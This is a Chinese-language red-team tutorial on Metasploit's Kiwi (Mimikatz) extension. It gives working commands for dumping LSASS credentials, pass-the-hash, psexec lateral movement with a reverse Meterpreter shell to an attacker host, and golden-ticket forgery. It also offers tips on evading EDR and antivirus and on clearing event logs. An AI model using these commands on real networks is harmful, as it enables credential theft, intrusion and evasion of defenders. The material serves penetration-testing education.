Metasploit Kiwi模块实战:内网渗透中的凭据提取与横向移动
1. 项目概述当Metasploit遇上Mimikatz在红队评估或渗透测试的后期特别是进入内网之后我们常常会遇到一个核心问题如何将已获取的立足点转化为对目标网络更深层次的控制权权限维持和横向移动是绕不开的话题而这一切的起点往往就是获取那些存储在内存或系统中的明文凭据。提到凭据提取Mimikatz几乎是所有安全从业者脑海中第一个蹦出来的名字。它功能强大但作为独立工具在复杂的、有防护的内网环境中直接使用有时会显得“动静”太大容易被终端安全软件EDR/AV盯上并且需要手动上传、执行流程繁琐。这时Metasploit框架的价值就凸显出来了。它不仅仅是一个漏洞利用工具集更是一个完整的渗透测试平台。而Kiwi模块正是Metasploit将Mimikatz的核心功能“无缝集成”进来的典范。简单来说Kiwi模块允许你直接在已建立的Meterpreter会话中加载并执行Mimikatz的功能无需将独立的Mimikatz可执行文件上传到目标机器。这种集成带来了几个显著优势首先是隐蔽性操作在内存中完成减少了磁盘写入和进程创建行为其次是便利性所有命令都在Meterpreter的交互式环境中完成支持Tab补全体验流畅最后是稳定性Kiwi模块经过了框架的封装和测试与Meterpreter的迁移、注入等功能结合得更紧密。因此掌握Kiwi模块的实战应用是内网渗透测试工程师从“能打点”到“能控网”的关键一步。它让你能在一个受控的、相对隐蔽的环境下高效地完成凭据窃取、哈希传递、黄金票据制作等高阶攻击动作。无论你是正在学习Metasploit的网络安全新手还是希望优化自己内网横向流程的老手深入理解Kiwi模块的每一个细节都至关重要。接下来我将以一个完整的实战视角带你拆解Kiwi模块的核心功能、使用技巧以及那些只有踩过坑才知道的注意事项。2. Kiwi模块的核心功能与前置条件解析2.1 Kiwi模块能做什么不止于抓密码很多初学者对Kiwi模块的理解停留在“抓密码”的层面这大大低估了它的能力。Kiwi模块本质上是Mimikatz在Metasploit中的接口因此它继承了Mimikatz绝大部分的核心功能。我们可以将其能力分为几个层次第一层凭据提取。这是最基本也是最常用的功能。它可以从LSASS进程的内存中提取当前登录用户的明文密码、NTLM哈希、Kerberos票据等。命令如creds_all会尝试提取所有能获取的凭据。这是横向移动的“弹药库”。第二层票据操作。在内网Kerberos认证环境中票据Ticket就是通行证。Kiwi模块可以列出当前缓存的Kerberos票据kerberos_ticket_list导出这些票据kerberos_ticket_use甚至可以伪造黄金票据Golden Ticket和白银票据Silver Ticket。伪造黄金票据需要域控的KRBTGT账户的NTLM哈希这通常是在获取域控权限后的终极权限维持手段。第三层SAM与LSA交互。除了内存Kiwi还能与系统的安全账户管理器SAM和本地安全机构LSA交互。例如lsa_dump_sam可以尝试转储本地SAM数据库中的用户哈希虽然在高版本Windows上默认加密而lsa_dump_secrets则尝试获取LSA中存储的域缓存凭据、服务账户密码等敏感信息。第四层Pass-the-Hash Pass-the-Ticket。Kiwi模块不仅提取凭据还能直接利用它们。pth命令支持传递哈希攻击让你无需明文密码仅凭NTLM哈希就能在网络上验证身份。结合Metasploit的exploit/windows/smb/psexec模块可以快速实现横向移动。理解这些功能层级有助于你在实战中根据不同的场景和目标选择最合适、最隐蔽的攻击路径而不是一上来就执行creds_all这种可能触发告警的全量抓取。2.2 成功加载Kiwi模块的关键前提Kiwi模块功能强大但并非在任何Meterpreter会话中都能直接使用。它有一系列严格的前置条件忽略这些条件往往是新手操作失败的首要原因。权限要求系统权限SYSTEM。这是最核心、最硬性的要求。因为Kiwi需要与LSASS进程交互而LSASS进程受PPL受保护进程等机制保护只有SYSTEM权限才能进行所需的内存读取操作。如果你的Meterpreter会话是Administrator权限你需要先将其提升至SYSTEM。常用方法有getsystem命令Meterpreter内置的命令会尝试多种技术如命名管道模拟进行提权。这是首选。迁移到具有SYSTEM权限的进程例如使用ps命令查找类似services.exe,lsass.exe本身可能受PPL保护迁移可能失败,winlogon.exe等系统进程然后使用migrate命令将会话迁移过去。迁移到services.exe通常是个稳定选择。进程架构匹配x64会话加载x64的Kiwi。如果你的目标系统是64位的Windows而你获得的Meterpreter负载payload是32位的如windows/meterpreter/reverse_tcp那么你加载的Kiwi也必须是32位版本kiwi。在64位系统上32位的Meterpreter运行在WOW64子系统下它只能加载32位的扩展。虽然可以工作但可能无法访问64位LSASS进程的全部内存空间导致凭据提取不完整。最佳实践是针对64位系统尽量使用64位的Meterpreter负载如windows/x64/meterpreter/reverse_tcp然后加载64位的Kiwi扩展load kiwi。你可以通过Meterpreter的sysinfo命令查看系统架构。会话稳定性与注入方式。Kiwi模块需要向目标进程注入代码。如果会话本身不稳定例如通过一个脆弱的Web漏洞获得的反弹shell加载复杂的扩展可能导致会话崩溃。此外某些EDR对进程注入行为监控严格。在高度敏感的环境中可能需要结合migrate命令先将会话迁移到一个更“清白”、更稳定的宿主进程如notepad.exe由你手动在目标上启动然后再加载Kiwi这有时能绕过一些基于父进程关系的检测。注意在实战中如果load kiwi失败请首先检查权限是否为NT AUTHORITY\SYSTEM其次检查会话架构。错误信息通常是明确的如 “Requires meterpreter to be running as SYSTEM” 就直指权限问题。3. Kiwi模块实战操作全流程解析3.1 环境搭建与会话获取假设我们已经通过某种方式例如利用一个MS17-010漏洞获得了一台内网Windows服务器192.168.1.10的初始立足点。我们使用一个64位的Meterpreter反向TCP负载。首先在Metasploit中配置监听use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 你的攻击机IP set LPORT 4444 exploit -j当目标执行我们的恶意程序后我们获得了一个Meterpreter会话session 1。第一步检查并提升权限sessions -i 1 meterpreter getuid Server username: WIN-7A9ABCD123\Administrator # 当前是Administrator需要提权到SYSTEM meterpreter getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter getuid Server username: NT AUTHORITY\SYSTEMgetsystem成功现在我们拥有了SYSTEM权限。第二步检查系统信息并加载Kiwimeterpreter sysinfo Computer : WIN-7A9ABCD123 OS : Windows 2016 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : CORP Logged On Users : 3 Meterpreter : x64/windows # 确认是x64系统且Meterpreter是x64架构完美匹配。 meterpreter load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. A La Vie, A LAmour ## / \ ## /*** Benjamin DELPY gentilkiwi ( benjamingentilkiwi.com ) ## \ / ## http://blog.gentilkiwi.com/mimikatz ## v ## Vincent LE TOUX ( vincent.letouxgmail.com ) ##### http://pingcastle.com / http://mysmartlogon.com ***/ Success.看到Mimikatz的标志性ASCII艺术和“Success”提示说明Kiwi模块加载成功。现在我们可以使用help命令查看所有新增的Kiwi命令。3.2 核心凭证提取操作详解加载Kiwi后我们拥有了一个以kiwi_为前缀的命令集。最常用的命令是creds_all但它内部其实调用了多个子功能。我们来分解执行meterpreter kiwi_creds_all [] Running as SYSTEM [*] Retrieving all credentials [*] 从内存中提取明文密码... [Host] : WIN-7A9ABCD123 / [Username] : Administrator / [Password] : Pssw0rd123! [Host] : WIN-7A9ABCD123 / [Username] : CORP\sql_svc / [Password] : SQL_Service_Pss2024 [*] 从内存中提取NTLM哈希... [Host] : WIN-7A9ABCD123 / [Username] : Administrator / [NTLM] : 579da618cfbfa85247acf1f800a280a4 [Host] : WIN-7A9ABCD123 / [Username] : CORP\sql_svc / [NTLM] : 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b [*] 尝试从LSA Secrets中提取信息... ... (可能输出缓存的域密码、服务账户密码等) ...这是一个理想情况我们拿到了两个用户的明文密码和NTLM哈希。这立刻为我们提供了横向移动的资本。但实战中往往没那么顺利。场景一只抓到哈希没有明文。从Windows 8.1/Server 2012 R2开始微软默认禁用了WDigest凭据缓存这意味着除非通过注册表手动开启否则LSASS中不会存储明文密码。这时creds_all可能只输出NTLM哈希。别灰心NTLM哈希对于“哈希传递”Pass-the-Hash攻击同样有效。你可以使用kiwi_pth命令来利用它或者将其保存下来用于其他模块如psexec。场景二需要更细致的提取。creds_all是聚合命令。有时我们需要针对性操作kiwi_cmd sekurlsa::logonpasswords这是直接执行Mimikatz的sekurlsa::logonpasswords命令是creds_all的核心输出更原始的信息。kiwi_cmd sekurlsa::tickets /export导出所有Kerberos票据为.kirbi文件这些文件可以用于票据传递攻击。kiwi_cmd lsadump::sam尝试转储本地SAM数据库。在域成员服务器上这通常只有本地用户。对于域控此命令可以获取域内所有用户的哈希需要更高的权限和条件。一个关键技巧使用kiwi_cmd命令可以直接运行任何Mimikatz支持的命令这给了你最大的灵活性。例如如果你想使用Mimikatz的dpapi模块解密Chrome浏览器的密码理论上可以通过kiwi_cmd dpapi::chrome来尝试但需要将相关文件下载到攻击机处理过程复杂。3.3 横向移动与权限维持实战拿到凭据后内网的大门才算真正打开。我们以获取的CORP\sql_svc账户的NTLM哈希为例演示横向移动。方法一使用Kiwi内置的PTH功能。meterpreter kiwi_pth -u CORP\sql_svc -H 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b -f这个命令会在当前Meterpreter会话所在的主机上使用指定的哈希创建一个新的登录令牌。之后如果你在该会话中使用shell进入命令行或者使用net use等需要网络认证的命令就会自动使用CORP\sql_svc的身份。但注意这个令牌是“本地”的主要用于访问网络共享如\\192.168.1.20\c$。方法二使用Metasploit的PsExec模块进行横向移动。这是更常用、更直接的方式。meterpreter background [*] Backgrounding session 1... msf6 exploit(multi/handler) use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) set RHOSTS 192.168.1.20 # 目标内网另一台机器 msf6 exploit(windows/smb/psexec) set SMBUser CORP\sql_svc msf6 exploit(windows/smb/psexec) set SMBPass 2c7a4b10c9272b0b3b3b3b3b3b3b3b3b # 这里是NTLM哈希不是密码 msf6 exploit(windows/smb/psexec) set SMBDomain CORP msf6 exploit(windows/smb/psexec) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) set LHOST 192.168.1.5 msf6 exploit(windows/smb/psexec) set LPORT 5555 # 使用新端口避免冲突 msf6 exploit(windows/smb/psexec) exploit如果目标主机192.168.1.20的445端口开放并且账户CORP\sql_svc有管理员权限或SMB共享写入权限那么PsExec模块会利用该哈希进行认证上传并执行Payload从而为我们返回一个新的Meterpreter会话。这样我们就成功从“主机A”跳转到了“主机B”。权限维持制作黄金票据。假设我们通过后续渗透最终拿下了域控DC并抓取到了域控中KRBTGT账户的NTLM哈希。这是制作黄金票据的“万能钥匙”。我们可以回到最初那台有SYSTEM权限的会话使用Kiwi制作黄金票据。meterpreter load kiwi meterpreter kiwi_cmd golden /user:Administrator /domain:corp.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:579da...KRBTGT的NTLM哈希 /ptt这条命令会生成一张伪造的、属于域管理员Administrator的黄金票据并自动将其注入到当前进程的内存中/ptt参数。注入后当前会话在访问域内任何资源时都将被视为域管理员有效期通常长达10年。这是一种极其隐蔽的后门方式因为攻击行为不再依赖于某个具体账户的密码而是依赖于域本身的Kerberos认证体系。4. 高级技巧、隐蔽性与对抗策略4.1 绕过内存扫描与模块化加载现代EDR对LSASS进程的内存扫描非常严格。直接调用sekurlsa::logonpasswords这类函数很容易触发基于API钩子Hook或内存特征码的检测。Kiwi/Mimikatz也在不断进化以绕过这些检测。技巧一使用kiwi_cmd的-d调试器分离模式。某些EDR会监控对LSASS的特定API调用。使用-d参数可以让Mimikatz以“调试”方式附加到LSASS这可能使用不同的底层路径来读取内存有时能绕过简单的API Hook。命令如kiwi_cmd -d sekurlsa::logonpasswords。但这并非总有效且调试器行为本身也可能被检测。技巧二使用Mimikatz的“迷你”或定制化模块。完整的Mimikatz功能太多特征明显。在高度敏感的环境中可以考虑只编译或使用你需要的特定功能模块。通过kiwi_cmd你理论上可以调用任何有效的Mimikatz命令。例如如果你只需要哈希可以只使用kiwi_cmd sekurlsa::msv。减少“曝光”的功能也就减少了被特征匹配的机会。技巧三进程迁移与内存操作分离。一个高级策略是在一个会话会话A中使用Kiwi的kiwi_cmd配合sekurlsa::logonpasswords的“/export”参数将凭据或票据导出到文件。然后在另一个已经迁移到某个“清白”用户进程如记事本的会话会话B中读取该文件并进行后续的PTH或PTT操作。这样凭据提取这个最敏感的操作发生在SYSTEM权限的会话而实际的横向移动操作则从一个看起来正常的用户进程发起增加了防御方溯源和关联的难度。4.2 日志清理与痕迹擦除在渗透测试中清理痕迹是基本素养。Kiwi模块本身也提供了一些辅助功能但需谨慎使用。事件日志清理可以使用Meterpreter自带的clearev命令清除Windows事件日志安全、系统、应用程序。但请注意在域环境中安全日志可能被实时同步到SIEM安全信息和事件管理系统本地删除是无效的反而会留下一个“日志被清除”的告警事件事件ID 1102。Mimikatz执行痕迹Mimikatz在内存中运行理论上不会在磁盘留下.exe文件。但系统可能因为异常操作如崩溃转储将部分内存写入磁盘。更常见的痕迹在于Windows的日志记录了对LSASS进程的访问。安全日志中的事件ID 4663尝试访问对象和10进程访问可能会记录这些行为。Kiwi无法直接删除这些日志条目。因此真正的“隐蔽”在于从一开始就避免触发高置信度告警而不是事后清理。因此一个更务实的建议是在测试开始前与客户明确测试范围和时间窗口。在测试过程中优先采用那些被评估为“低噪音”的技术。例如如果目标环境EDR很强或许优先考虑使用合法的远程管理工具如PSExec的官方Sysinternals版本配合窃取的凭据进行移动而不是使用Metasploit的psexec模块因为后者生成的流量和进程模式可能更有特征。4.3 与Metasploit其他模块的协同作战Kiwi模块不是孤立的它与Metasploit框架的其他部分可以形成强大的组合拳。与Post模块结合Metasploit有大量的后渗透Post模块。在获取凭据后可以自动运行这些模块进行深度信息收集。例如meterpreter run post/windows/gather/enum_domain meterpreter run post/windows/gather/enum_shares这些模块会自动利用当前会话的令牌可能是你通过Kiwi进行PTH后的令牌来收集域信息、网络共享等为下一步攻击指明方向。与漏洞扫描器结合将抓取到的本地管理员密码哈希导入到Metasploit的Credential库中。然后使用auxiliary/scanner/smb/smb_login等模块对内网IP段进行批量SMB登录测试快速找出使用相同本地管理员密码的机器“密码喷洒”或“横向密码复用”。会话管理与跳板通过Kiwi在内网多台机器上建立Meterpreter会话后可以利用Metasploit的socks_proxy模块搭建一个SOCKS4a代理再配合Proxychains等工具让你的其他扫描器如Nmap、Hydra也能通过这个代理通道进入内网实现“一跳通全网”。5. 常见问题排查与实战心得5.1 典型错误与解决方案速查表问题现象可能原因解决方案load kiwi失败提示“Requires meterpreter to be running as SYSTEM”当前会话权限不足。使用getsystem命令提权或迁移到SYSTEM权限的进程如services.exe。load kiwi失败提示“不匹配的架构”或加载后命令无效。Meterpreter负载架构与系统或Kiwi扩展不匹配。检查sysinfo中的Architecture。对64位系统使用windows/x64/meterpreter/...负载。确保加载的是正确的Kiwi64位系统用load kiwi32位系统理论上也兼容但64位更佳。kiwi_creds_all执行后无输出或只输出部分信息。1. WDigest未启用无明文密码。2. LSASS进程受PPLWindows 10/2016或Credential Guard保护。3. EDR已拦截内存读取操作。1. 正常现象关注NTLM哈希输出。2. 尝试使用migrate到受保护更弱的进程后再执行或尝试使用kiwi_cmd的-d参数。对抗PPL需要更高阶技术如驱动加载。3. 尝试更隐蔽的方法如使用kiwi_cmd调用特定子功能或转用其他凭据提取方法如DLL注入到非保护进程读取LSASS内存。kiwi_pth执行成功但后续访问网络共享失败。1. 目标主机防火墙阻止了SMB端口445。2. 当前令牌未应用于新创建的进程。3. 账户权限不足非目标机器的管理员。1. 检查网络连通性和防火墙规则。2. 在kiwi_pth后务必使用shell命令打开一个新的命令行窗口新窗口会继承令牌。或者使用net use等命令测试。3. 确认使用的账户在目标机器上有足够的权限。使用PsExec模块横向移动失败。1. 目标IP或端口错误。2. 使用的凭据哈希错误或权限不足。3. 目标系统防火墙阻止PsExec所需的端口和协议。4. 目标上的防病毒软件拦截了PsExec的二进制文件或行为。1. 仔细核对RHOSTS。2. 核对SMBUser、SMBPass是哈希、SMBDomain。尝试使用其他账户。3. 尝试使用其他横向移动方法如WMIexploit/windows/local/wmi、WinRMexploit/windows/winrm/winrm_script_exec。4. 尝试对Payload进行编码或使用模板注入等技术绕过静态查杀。5.2 来自实战的几点核心心得顺序很重要权限 架构 加载。在尝试任何Kiwi操作前养成习惯先getuid确认是SYSTEM再sysinfo确认架构最后load kiwi。这个顺序能避免90%的加载问题。“抓不到明文”不等于失败。在内网渗透中NTLM哈希的价值很多时候等同于明文密码尤其是在启用了SMB签名或特定服务仅接受NTLM认证的环境中。不要因为没有看到明文密码就停止行动哈希传递PTH是更常见、更经典的横向移动手段。票据Ticket有时比密码更有用。在纯Kerberos认证的环境中如访问域内Web应用、数据库一张有效的TGS服务票据可以直接让你访问资源而无需知道密码或哈希。因此在执行creds_all后务必关注是否有票据被导出.kirbi文件并学会使用kiwi_cmd kerberos::ptt来注入票据。理解上下文选择最小化命令。不要总是无脑运行kiwi_creds_all。如果你已经通过其他方式知道了某个服务账户的密码并且只想获取它的哈希可以尝试更具体的命令如kiwi_cmd sekurlsa::msv来减少在目标系统上的“动作”和日志产生量。在对抗性强的环境中每一个操作都要有明确的目的。Kiwi是利器但不是银弹。它高度依赖于对LSASS进程的访问。随着微软不断加固安全Credential Guard PPL LSA保护等以及EDR产品的普及传统的LSASS内存转储变得越来越困难。作为渗透测试者必须了解这些缓解措施并准备备用方案例如利用SAM和SYSTEM注册表单元离线提取本地哈希利用DPAPI解密用户存储的凭据或者利用松散的域配置发起Kerberoasting攻击等。Kiwi模块是内网渗透武器库中的核心装备但一个成熟的测试者武器库必须是丰富且与时俱进的。